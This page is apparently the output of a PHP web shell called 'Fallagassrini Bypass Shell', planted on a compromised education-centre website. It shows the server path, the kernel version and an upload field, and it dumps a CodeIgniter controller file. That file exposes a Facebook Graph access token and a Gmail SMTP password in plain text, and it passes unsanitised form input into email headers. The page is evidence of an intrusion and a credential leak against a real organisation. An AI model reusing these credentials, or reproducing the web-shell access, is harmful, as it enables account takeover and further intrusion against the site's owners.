? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyeducation.com/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyeducation.com/application/controllers/Main_controller-old.php

<?php

defined('BASEPATH') OR exit('No direct script access allowed');

class Main_controller extends CI_Controller
{

    /**
     * Index Page for this controller.
     *
     * Maps to the following URL
     * 		http://example.com/index.php/welcome
     * 	- or -
     * 		http://example.com/index.php/welcome/index
     * 	- or -
     * Since this controller is set as the default controller in
     * config/routes.php, it's displayed at http://example.com/
     *
     * So any other public methods not prefixed with an underscore will
     * map to /index.php/welcome/<method_name>
     * @see https://codeigniter.com/user_guide/general/urls.html
     */
    public function __construct()
    {
        parent::__construct();
        $this->load->helper('url');
        $this->load->helper('form');
        $this->load->library('form_validation');
        $this->load->library('session');
        $this->load->library('encrypt');
        $this->load->library('email');
        $this->load->model('main_model');
        $this->load->model('admin_model');
    }

    public function index()
    {
        $feeds = json_decode(file_get_contents('https://graph.facebook.com/SavoyEducationCenter/posts?fields=created_time,full_picture,message&access_token=599505266921545|3338b811044b512442af67b005530390'));
        $data['feeds'] = json_decode(json_encode($feeds), True);
        $data['bannerimages'] = $this->admin_model->banner_listing();
        $data['about'] = $this->main_model->aboutuspage();
        $data['announcements'] = $this->main_model->announcement_listing();
        $data['program'] = $this->main_model->program_listing();
        $data['contactdetailsbottom']=$this->main_model->contact();
        $this->load->view('front-end/templates/header',$data);
        $this->load->view('front-end/pages/index');
        $this->load->view('front-end/templates/footer');
    }

    public function announcement_more()
    {
        $id = $this->input->post('id');
        $data['announcementsmore'] = $this->main_model->announcement_listing_more($id);
        echo json_encode($data);
    }

    public function gallery_page()
    {
        $feeds = json_decode(file_get_contents('https://graph.facebook.com/SavoyEducationCenter/posts?fields=created_time,full_picture,message&access_token=599505266921545|3338b811044b512442af67b005530390'));
        //$data['feeds'] = $feeds;
		//$feeds = json_decode($fb_cont);
		$data['feeds'] = json_decode(json_encode($feeds), True);		
		$data['Counts']=  $data['feeds']['data'] ? count($data['feeds']['data']) : 0;
		$data['contactdetailsbottom']=$this->main_model->contact();
        $this->load->view('front-end/templates/header',$data);
        $this->load->view('front-end/pages/gallery');
        $this->load->view('front-end/templates/footer');
    }

    public function aboutus()
    {
        $data['about'] = $this->main_model->aboutuspage();
         $data['contactdetailsbottom']=$this->main_model->contact();
        $this->load->view('front-end/templates/header',$data);
        $this->load->view('front-end/pages/about', $data);
        $this->load->view('front-end/templates/footer',$data);
    }

    public function announcements()
    {
        $data['announcement_list'] = $this->main_model->announcement_listing();
         $data['contactdetailsbottom']=$this->main_model->contact();
        $this->load->view('front-end/templates/header',$data);
        $this->load->view('front-end/pages/announcement_listing', $data);
        $this->load->view('front-end/templates/footer',$data);
    }

    public function program_four()
    {
        $data['four'] = $this->main_model->fourpage();
        $data['four_gallery'] = $this->main_model->fourthgallery();
         $data['contactdetailsbottom']=$this->main_model->contact();
        $this->load->view('front-end/templates/header',$data);
        $this->load->view('front-end/pages/program_four_page', $data);
        $this->load->view('front-end/templates/footer',$data);
    }

    public function program_three()
    {
        $data['three'] = $this->main_model->threepage();
         $data['contactdetailsbottom']=$this->main_model->contact();
        $data['three_gallery'] = $this->main_model->thirdgallery();
        $this->load->view('front-end/templates/header',$data);
        $this->load->view('front-end/pages/program_three_page', $data);
        $this->load->view('front-end/templates/footer',$data);
    }

    public function program_two()
    {
        $data['two'] = $this->main_model->twopage();
        $data['two_gallery'] = $this->main_model->twogallery();
         $data['contactdetailsbottom']=$this->main_model->contact();
        $this->load->view('front-end/templates/header',$data);
        $this->load->view('front-end/pages/program_two_page', $data);
        $this->load->view('front-end/templates/footer',$data);
    }

    public function program_one()
    {
        $data['one'] = $this->main_model->onepage();
        $data['one_gallery'] = $this->main_model->onegallery();
         $data['contactdetailsbottom']=$this->main_model->contact();
        $this->load->view('front-end/templates/header',$data);
        $this->load->view('front-end/pages/program_one_page', $data);
        $this->load->view('front-end/templates/footer',$data);
    }

    public function contact()
    {
       $data['contactdetails']=$this->main_model->contact();
        $data['contactdetailsbottom']=$this->main_model->contact();
        $this->load->view('front-end/templates/header',$data);
        $this->load->view('front-end/pages/contactus',$data);
        $this->load->view('front-end/templates/footer',$data);
    }
    

    public function mailsender_contact()
    {

        $config = Array(
            'protocol' => 'smtp',
            'smtp_host' => 'ssl://smtp.googlemail.com',
            'smtp_port' => 465,
            'smtp_user' => 'savoyeducationqatar@gmail.com',
            'smtp_pass' => 'e7c33db757276aac19639d3fdcdfe9ce',
            'mailtype' => 'html',
            'charset' => 'iso-8859-1'
        );
        $this->load->library('email', $config);
        $this->email->initialize($config);
        $this->email->set_newline("\r\n");

        $message = "From : " . $_POST['cname'] . "<br/>";
        $message.="Email id : " . $_POST['email'] . "<br/>";
        $message.="Contact : " . $_POST['number'] . "<br/>";
        $message.="Subject : " . $_POST['subject']. "<br/>";
        $message.="Message : " . $_POST['message'];

        $this->email->from($_POST['email'], $_POST['cname']);
        $this->email->to('info@savoyeducation.com'); //nuhashim@gmail.com,yasar@aspinlabs.com
       // $this->email->bcc('yasar@aspinlabs.com');
        $this->email->subject("Enquiry from Savoy Education");
        $this->email->message($message);
        $result = $this->email->send();
        //var_dump($result);
        //var_dump($this->email->print_debugger(array('headers')));
        echo $result ? 'success' : 'fail';
        //echo $this->email->print_debugger();
        
         
    }

   public function mailsender_tuition() {
        $config = Array(
            'protocol' => 'smtp',
            'smtp_host' => 'ssl://smtp.googlemail.com',
            'smtp_port' => 465,
            'smtp_user' => 'savoyeducationqatar@gmail.com',
            'smtp_pass' => 'e7c33db757276aac19639d3fdcdfe9ce',
            'mailtype' => 'html',
            'charset' => 'iso-8859-1'
        );
        $this->load->library('email', $config);
        $this->email->initialize($config);
        $this->email->set_newline("\r\n");
         $message = "From : " . $_POST['tuiname'] . "<br/>";
        $message.="Email id : " . $_POST['tuiemail'] . "<br/>";
        $message.="Contact : " . $_POST['tuiphone'] . "<br/>";
        $message.="Program : " .$_POST['tuipgm'] . "<br/>"; 
       // $message.="Comment : " . $_POST['message'];
        $this->email->from($_POST['tuiemail'], $_POST['tuiname']);
        $this->email->to('info@savoyeducation.com'); //nuhashim@gmail.com,yasar@aspinlabs.com
        $this->email->cc('jerrybabu@savoyglobal.net');
        $this->email->bcc('sajan@savoyglobal.net');
        $this->email->subject("Registeration For Program");
        $this->email->message($message);
        $result = $this->email->send();
       echo $result ? 'success' : 'fail';
      
    }
	
	public function dev_test(){
		$fb_cont = file_get_contents('https://graph.facebook.com/SavoyEducationCenter/posts?fields=created_time,full_picture,message&access_token=599505266921545|3338b811044b512442af67b005530390');
		$feeds = json_decode($fb_cont);
		$feeds2 = json_decode(json_encode($feeds), True);
		//echo '<pre>';
		//var_dump($feeds2);
		
		foreach($feeds2['data'] as $feed){
			echo '<pre>';
		var_dump($feed);
		die();
		}
	}


}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net